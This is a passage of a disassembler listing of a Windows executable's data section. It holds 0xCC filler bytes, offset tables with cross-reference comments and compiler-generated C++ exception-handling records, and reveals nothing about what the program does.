		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0
		align 4
		dd 31Bh	dup(0)
off_43F000	dd offset sub_4017D0	; DATA XREF: sub_403720+3FEo
off_43F004	dd offset dword_437AC0	; DATA XREF: sub_403CC0+2o
off_43F008	dd offset off_402027	; DATA XREF: sub_406BF0+2o sub_406C50o
off_43F00C	dd offset sub_40221B	; DATA XREF: ___:004070C5o
off_43F010	dd offset loc_40218F	; DATA XREF: sub_409BC0+4o
					; sub_409C20+Bo ...
off_43F014	dd offset loc_402045	; DATA XREF: sub_40AEA0+2o
					; sub_40AEF0+1Co
		dd offset dword_437AC0
		align 10h
off_43F020	dd offset loc_401AE1	; DATA XREF: ___:0040B1F8o
					; sub_40B250+1Eo
flt_43F024	dd 1.0			; DATA XREF: ___:0040B8A6r
off_43F028	dd offset sub_401A4B	; DATA XREF: sub_40F6D0+157o
					; sub_40FE70+1Do
		dd offset sub_402149
		dd 0
off_43F034	dd offset sub_401ACD	; DATA XREF: sub_40F6D0+142o
					; sub_40FE70+23o
off_43F038	dd offset loc_40115E	; DATA XREF: sub_411930+36o
					; sub_4119E0+1Do
		dd offset loc_402004
		dd 0
off_43F044	dd offset sub_4014C9	; DATA XREF: ___:0041325Do
					; sub_4132F0+1Fo
		dd offset sub_401D0C
		align 10h
off_43F050	dd offset sub_4019CE	; DATA XREF: sub_416D00+6o
					; sub_417EF0+8o
		dd offset sub_4020C7
		dd 0
off_43F05C	dd offset loc_401CAD	; DATA XREF: sub_416D60+6o
					; sub_417F20+8o
		dd offset sub_401230
		align 8
off_43F068	dd offset loc_401929	; DATA XREF: sub_416DC0o sub_41FCD0+8o
		dd offset sub_401CF3
		dd 0
off_43F074	dd offset sub_40111D	; DATA XREF: sub_416E10o
					; sub_4191B0+36o
off_43F078	dd offset loc_4014AB	; DATA XREF: sub_417CC0+68o
off_43F07C	dd offset sub_401064	; DATA XREF: sub_417D60+8Bo
off_43F080	dd offset sub_40138E	; DATA XREF: sub_417E30+74o
off_43F084	dd offset loc_401B81	; DATA XREF: sub_417F50+7Bo
off_43F088	dd offset loc_40204A	; DATA XREF: sub_418010+7Bo
off_43F08C	dd offset loc_401F3C	; DATA XREF: sub_4180D0+3Eo
off_43F090	dd offset sub_401FE1	; DATA XREF: sub_418150+8o
off_43F094	dd offset loc_401FF5	; DATA XREF: sub_418180+3Eo
off_43F098	dd offset sub_401E6A	; DATA XREF: sub_418200+3Eo
off_43F09C	dd offset loc_40100A	; DATA XREF: sub_418280+10o
off_43F0A0	dd offset loc_4010B4	; DATA XREF: sub_4182B0+4Bo
off_43F0A4	dd offset sub_401BB8	; DATA XREF: sub_418330+10o
off_43F0A8	dd offset sub_40171C	; DATA XREF: sub_418360+10o
off_43F0AC	dd offset sub_40161D	; DATA XREF: sub_418390+6Bo
dbl_43F0B0	dq -3.0517578125e-5	; DATA XREF: sub_4199C0+22r
		dd 0
off_43F0BC	dd offset sub_401B09	; DATA XREF: sub_41A110+Bo
					; sub_41A210+6o
off_43F0C0	dd offset sub_401E92	; DATA XREF: sub_41B0E0+Do sub_41B140o
off_43F0C4	dd offset sub_401406	; DATA XREF: ___:0041B4A2o
					; ___:0041B58Do
		dd offset sub_401686
		align 10h
off_43F0D0	dd offset loc_4019F6	; DATA XREF: sub_41D770+77o
					; sub_41D860+1Do
		dd offset sub_401C94
		dd 0
off_43F0DC	dd offset sub_4011FE	; DATA XREF: sub_427740+32o
		dd offset sub_401A78
		dd offset sub_401A50
		dd 0
off_43F0EC	dd offset loc_4016DB	; DATA XREF: sub_4277B0+6Ao
					; sub_427850+1Do
		dd offset sub_401A78
		dd offset dword_437AC0
		dd 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 1Ah,	40h, 0
		dd offset sub_401A78
		dd offset sub_401366
		dd 0
off_43F10C	dd offset sub_40182A	; DATA XREF: sub_4281A0+32o
		dd offset sub_401A78
		dd offset sub_401EB0
		dd 0
off_43F11C	dd offset sub_40224D	; DATA XREF: sub_428880+32o
		dd offset sub_401A78
		dd offset sub_401A14
		dd 0
off_43F12C	dd offset sub_401C3F	; DATA XREF: sub_4290B0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4015B9
		dd 0
off_43F13C	dd offset loc_402086	; DATA XREF: sub_429120+7Ao
					; sub_4291E0+1Do
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset dword_437AC0
		dd 0
off_43F14C	dd offset sub_4021D5	; DATA XREF: sub_429450+4Bo
					; sub_429540+10o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_401D3E
		dd 0
off_43F15C	dd offset loc_40112C	; DATA XREF: sub_42ACB0+32o
					; sub_42AD50+9o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40137A
		dd 0
off_43F16C	dd offset loc_401B18	; DATA XREF: sub_42AFF0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4010AF
		dd 0
off_43F17C	dd offset sub_4017B2	; DATA XREF: sub_42B380+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40189D
		dd 0
off_43F18C	dd offset sub_4020EF	; DATA XREF: sub_42C4C0+27o
dword_43F190	dd 0				dd 8, 0
off_43F19C	dd offset dword_437AC0	; DATA XREF: sub_42C530+39o
off_43F1A0	dd offset sub_401F5F	; DATA XREF: ___:0042C602o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_40134D
		align 10h
off_43F1B0	dd offset sub_401B36	; DATA XREF: sub_42C770+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_401537
		align 10h
		dd offset loc_4015FA
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4019F1
		align 10h
		dd offset dword_43F348
off_43F1D4	dd offset loc_437B01	; DATA XREF: ___:00437AF8o
					; ___:off_4448A8o ...
		dd 0FFFFFFFFh, 437E9Ch,	437EB0h, 4Dh dup(0)
off_43F318	dd offset off_448CA0	; DATA XREF: ___:0043F330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43F318
		dd 0
		db    0			; DATA XREF: ___:0043F358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43F330h
dword_43F348	dd 3 dup(0)			dd offset off_448CA0
		dd offset unk_43F338
		dd 45h dup(0)
dword_43F470	dd 19930520h, 5, 43F490h, 5 dup(0)		dd 0FFFFFFFFh, 438E1Ch,	0
		dd offset loc_438DF0
		dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0)
dword_43F4C0	dd 19930520h, 3Dh, 43F4E0h, 5 dup(0)		dd 0FFFFFFFFh, 438E60h,	0
		dd offset loc_438E6B
		dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh
		dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah
		dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h,	0Dh, 438F1Eh, 0Eh
		dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h,	11h, 438F56h, 12h
		dd 438F64h, 13h, 438F72h, 14h, 438F80h,	15h, 438F8Eh, 16h
		dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h,	19h, 438FC6h, 1Ah
		dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h,	1Dh, 438FFEh, 1Eh
		dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h,	21h, 439036h, 22h
		dd 439044h, 23h, 439052h, 24h, 439060h,	25h, 43906Eh, 26h
		dd 43907Ch, 27h, 43908Ah, 28h, 439098h,	29h, 4390A6h, 2Ah
		dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h,	2Dh, 4390DEh, 2Eh
		dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h,	31h, 439116h, 32h
		dd 439124h, 33h, 439132h, 34h, 439140h,	35h, 43914Eh, 36h
		dd 43915Ch, 37h, 43916Ah, 38h, 439178h,	39h, 439186h, 3Ah
		dd 439194h, 3Bh, 4391A2h, 0Eh dup(0)
dword_43F700	dd 19930520h, 1, 43F720h, 5 dup(0)		dd 0FFFFFFFFh, 439290h,	2 dup(0)
dword_43F730	dd 19930520h, 2, 43F750h, 5 dup(0)		dd 0FFFFFFFFh, 4392B0h,	0
		dd offset loc_4392B8
		dd 2 dup(0)
dword_43F768	dd 19930520h, 2, 43F788h, 5 dup(0)		dd 0FFFFFFFFh, 4392E0h,	0
		dd offset loc_4392E8
		align 10h
dword_43F7A0	dd 19930520h, 1, 43F7C0h, 5 dup(0)		dd 0FFFFFFFFh, 439310h,	2 dup(0)
dword_43F7D0	dd 19930520h, 7, 43F7F0h, 5 dup(0)		dd 0FFFFFFFFh, 439330h,	0
		dd offset loc_439338
		dd 1, 439343h, 2, 439351h, 3, 43935Fh, 4, 43936Dh, 5, 43937Bh
		dd 2 dup(0)
dword_43F830	dd 19930520h, 7, 43F850h, 5 dup(0)		dd 0FFFFFFFFh, 4393B0h,	0
		dd offset loc_4393B8
		dd 1, 4393C3h, 2, 4393D1h, 3, 4393DFh, 4, 4393EDh, 5, 4393FBh
		dd 2 dup(0)
dword_43F890	dd 19930520h, 11h, 43F8B0h, 5 dup(0)		dd 0FFFFFFFFh, 439430h,	0FFFFFFFFh, 439438h, 0FFFFFFFFh
		dd 439440h, 0FFFFFFFFh,	439448h, 0FFFFFFFFh, 439450h, 0FFFFFFFFh
		dd 439458h, 0FFFFFFFFh,	439460h, 0FFFFFFFFh, 439468h, 0FFFFFFFFh
		dd 439470h, 0FFFFFFFFh,	439478h, 0FFFFFFFFh, 439480h, 0FFFFFFFFh
		dd 439488h, 0FFFFFFFFh,	439490h, 0FFFFFFFFh, 439498h, 0FFFFFFFFh
		dd 4394A0h, 0Eh, 4394A8h, 0Eh, 4394B0h,	4 dup(0)
dword_43F948	dd 19930520h, 0Bh, 43F968h, 5 dup(0)		dd 0FFFFFFFFh, 4394F0h,	0
		dd offset loc_4394F8
		dd 0FFFFFFFFh, 439500h,	2, 439508h, 0FFFFFFFFh,	439510h
		dd 0FFFFFFFFh, 439518h,	0FFFFFFFFh, 439520h, 0FFFFFFFFh
		dd 439528h, 7, 439533h,	7, 43953Bh, 9, 439543h,	4 dup(0)
dword_43F9D0	dd 19930520h, 31h, 43F9F0h, 5 dup(0)		dd 0FFFFFFFFh, 439570h,	0
		dd offset loc_43957B
		dd 0
		dd offset loc_439586
		dd 0FFFFFFFFh, 439591h,	0FFFFFFFFh, 43959Ch, 4,	4395A7h
		dd 0FFFFFFFFh, 4395B2h,	6, 4395BDh, 6, 4395C8h,	8, 4395D3h
		dd 0FFFFFFFFh, 4395DEh,	0Ah, 4395E9h, 0Ah, 4395F4h, 0Ah
		dd 4395FFh, 0Ah, 43960Ah, 0Ah, 439615h,	0Ah, 439620h, 0FFFFFFFFh
		dd 43962Bh, 11h, 439636h, 11h, 439641h,	0FFFFFFFFh, 43964Ch
		dd 0FFFFFFFFh, 439657h,	15h, 439662h, 0FFFFFFFFh, 43966Dh
		dd 0FFFFFFFFh, 439678h,	18h, 439683h, 0FFFFFFFFh, 43968Eh
		dd 0FFFFFFFFh, 439699h,	0FFFFFFFFh, 4396A4h, 0FFFFFFFFh
		dd 4396AFh, 1Dh, 4396BAh, 1Dh, 4396C5h,	1Dh, 4396D0h, 1Dh
		dd 4396DBh, 1Dh, 4396E6h, 22h, 4396F1h,	22h, 4396FCh, 22h
		dd 439707h, 22h, 439712h, 22h, 43971Dh,	22h, 439728h, 22h
		dd 439733h, 22h, 43973Eh, 22h, 439749h,	22h, 439754h, 22h
		dd 43975Fh, 22h, 43976Ah, 22h, 439775h,	22h, 439780h, 0Ch dup(0)
dword_43FBA8	dd 19930520h, 2, 43FBC8h, 5 dup(0)		dd 0FFFFFFFFh, 439828h,	0
		dd offset loc_439820
		align 10h
dword_43FBE0	dd 19930520h, 2, 43FC00h, 5 dup(0)		dd 0FFFFFFFFh, 43986Bh,	0
		dd offset loc_439860
		dd 2 dup(0)
dword_43FC18	dd 19930520h, 3, 43FC38h, 5 dup(0)		dd 0FFFFFFFFh, 4398A0h,	0
		dd offset loc_4398AB
		dd 0
		dd offset loc_4398B6
		dd 2 dup(0)
dword_43FC58	dd 19930520h, 1, 43FC78h, 5 dup(0)		dd 0FFFFFFFFh, 4398E0h,	2 dup(0)
dword_43FC88	dd 19930520h, 1, 43FCA8h, 5 dup(0)		dd 0FFFFFFFFh, 439900h,	2 dup(0)
dword_43FCB8	dd 19930520h, 2, 43FCD8h, 5 dup(0)		dd 0FFFFFFFFh, 439920h,	0
		dd offset loc_439928
		align 10h
dword_43FCF0	dd 19930520h, 57h, 43FD10h, 5 dup(0)		dd 0FFFFFFFFh, 439940h,	0
		dd offset loc_43994B
		dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h
		dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah
		dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h,	0Dh, 4399CEh, 0Eh
		dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh,	11h, 4399FAh, 12h
		dd 439A05h, 13h, 439A10h, 14h, 439A1Bh,	15h, 439A26h, 16h
		dd 439A31h, 17h, 439A3Ch, 18h, 439A47h,	19h, 439A52h, 1Ah
		dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h,	1Dh, 439A7Eh, 1Eh
		dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh,	1Eh, 439AAAh, 1Eh
		dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh,	1Eh, 439AD6h, 1Eh
		dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h,	1Eh, 439AF7h, 1Eh
		dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh,	1Eh, 439B18h, 2Eh
		dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh,	31h, 439B39h, 1Eh
		dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh,	1Eh, 439B4Fh, 1Eh
		dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h,	1Eh, 439B70h, 3Ah
		dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h,	3Dh, 439B91h, 1Eh
		dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h,	1Eh, 439BA7h, 1Eh
		dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh,	1Eh, 439BC8h, 46h
		dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh,	49h, 439BE9h, 1Eh
		dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh,	1Eh, 439BFFh, 1Eh
		dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h,	1Eh, 439C20h, 52h
		dd 439C2Bh, 53h, 439C36h, 54h, 439C41h,	55h, 439C4Ch, 13h dup(0)
		dd offset off_4448A8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	437AF0h, 2 dup(0)
		dd offset off_4448C8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F1Ah, 2 dup(0)
		dd offset off_4448F0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F20h, 0
dword_440070	dd 3, 440050h, 440030h,	440010h, 2 dup(0)dword_440088	dd 0							; ___:0040AA77o
		dd offset dword_437EC4+62h
		dd 0
		dd offset dword_440070
		align 10h
dword_4400A0	dd 19930520h, 1, 4400C0h, 5 dup(0)		dd 0FFFFFFFFh, 439D30h,	2 dup(0)
dword_4400D0	dd 19930520h, 1, 4400F0h, 5 dup(0)		dd 0FFFFFFFFh, 439D50h,	2 dup(0)
dword_440100	dd 19930520h, 3, 440120h, 5 dup(0)		dd 0FFFFFFFFh, 439D70h,	0
		dd offset loc_439D87
		dd 1, 439D8Fh, 2 dup(0)
dword_440140	dd 19930520h, 1, 440160h, 5 dup(0)		dd 0FFFFFFFFh, 439DB0h,	2 dup(0)
dword_440170	dd 19930520h, 2, 440190h, 1, 4401A0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 4401B8h, 4	dup(0)
		dd offset sub_40AF32
		align 10h
dword_4401D0	dd 19930520h, 2, 4401F0h, 1, 440200h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 440218h, 4	dup(0)
		dd offset sub_40B0B1
		align 10h
dword_440230	dd 19930520h, 4, 440250h, 5 dup(0)		dd 0FFFFFFFFh, 439DF0h,	0
		dd offset loc_439DFB
		dd 1, 439E06h, 2, 439E11h, 2 dup(0)
dword_440278	dd 19930520h, 4, 440298h, 5 dup(0)		dd 0FFFFFFFFh, 439E40h,	0
		dd offset loc_439E4B
		dd 1, 439E56h, 2, 439E61h, 2 dup(0)
dword_4402C0	dd 19930520h, 3, 4402E0h, 5 dup(0)		dd 0FFFFFFFFh, 439E90h,	0FFFFFFFFh, 439E98h, 0FFFFFFFFh
		dd 439EA0h, 2 dup(0)
dword_440300	dd 19930520h, 3, 440320h, 5 dup(0)		dd 0FFFFFFFFh, 439EC0h,	0
		dd offset loc_439EC8
		dd 1, 439ED0h, 2 dup(0)
dword_440340	dd 19930520h, 1, 440360h, 5 dup(0)		dd 0FFFFFFFFh, 439EF0h,	2 dup(0)
dword_440370	dd 19930520h, 4, 440390h, 5 dup(0)		dd 0FFFFFFFFh, 439F10h,	0FFFFFFFFh, 439F18h, 0FFFFFFFFh
		dd 439F20h, 2, 439F28h,	2 dup(0)
dword_4403B8	dd 19930520h, 1, 4403D8h, 5 dup(0)		dd 0FFFFFFFFh, 439F50h,	2 dup(0)
dword_4403E8	dd 19930520h, 4, 440408h, 5 dup(0)		dd 0FFFFFFFFh, 439F70h,	0
		dd offset loc_439F7B
		dd 0
		dd offset loc_439F86
		dd 2, 439F91h, 2 dup(0)
dword_440430	dd 19930520h, 1, 440450h, 5 dup(0)		dd 0FFFFFFFFh, 439FC0h,	2 dup(0)
dword_440460	dd 19930520h, 5, 440480h, 5 dup(0)		dd 0FFFFFFFFh, 439FE0h,	0
		dd offset loc_439FEB
		dd 0
		dd offset loc_439FF6
		dd 0
		dd offset loc_43A001
		dd 0
		dd offset loc_43A00C
		align 10h
dword_4404B0	dd 19930520h, 2, 4404D0h, 5 dup(0)		dd 0FFFFFFFFh, 43A040h,	0
		dd offset loc_43A04B
		dd 2 dup(0)
dword_4404E8	dd 19930520h, 2, 440508h, 5 dup(0)		dd 0FFFFFFFFh, 43A070h,	0
		dd offset loc_43A07B
		align 10h
dword_440520	dd 19930520h, 4, 440540h, 5 dup(0)		dd 0FFFFFFFFh, 43A0A0h,	0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh
		dd 43A0B0h, 0FFFFFFFFh,	43A0B8h, 2 dup(0)
dword_440568	dd 19930520h, 8, 440588h, 5 dup(0)		dd 0FFFFFFFFh, 43A0E0h,	0
		dd offset loc_43A0EB
		dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h
		dd 1, 43A12Dh, 4 dup(0)
dword_4405D8	dd 19930520h, 0Dh, 4405F8h, 5 dup(0)		dd 0FFFFFFFFh, 43A160h,	0FFFFFFFFh, 43A16Bh, 1,	43A176h
		dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh
		dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh
		dd 43A1E4h, 4 dup(0)
dword_440670	dd 19930520h, 6, 440690h, 5 dup(0)		dd 0FFFFFFFFh, 43A220h,	0
		dd offset loc_43A228
		dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0)
dword_4406C8	dd 19930520h, 6, 4406E8h, 5 dup(0)		dd 0FFFFFFFFh, 43A270h,	0
		dd offset loc_43A278
		dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0)
dword_440720	dd 19930520h, 3, 440740h, 5 dup(0)		dd 0FFFFFFFFh, 43A2C0h,	0
		dd offset loc_43A2C8
		dd 1, 43A2D0h, 2 dup(0)
dword_440760	dd 19930520h, 1, 440780h, 5 dup(0)		dd 0FFFFFFFFh, 43A2F0h,	2 dup(0)
dword_440790	dd 19930520h, 7, 4407B0h, 5 dup(0)		dd 0FFFFFFFFh, 43A310h,	0
		dd offset loc_43A318
		dd 0FFFFFFFFh, 43A320h,	0FFFFFFFFh, 43A328h, 3,	43A330h
		dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0)
dword_4407F0	dd 19930520h, 24h, 440810h, 5 dup(0)		dd 0FFFFFFFFh, 43A370h,	0
		dd offset loc_43A378
		dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h
		dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah
		dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h,	0Dh, 43A425h, 0Eh
		dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh,	11h, 43A45Dh, 11h
		dd 43A465h, 11h, 43A46Dh, 11h, 43A475h,	11h, 43A47Dh, 11h
		dd 43A485h, 11h, 43A48Dh, 11h, 43A495h,	11h, 43A49Dh, 11h
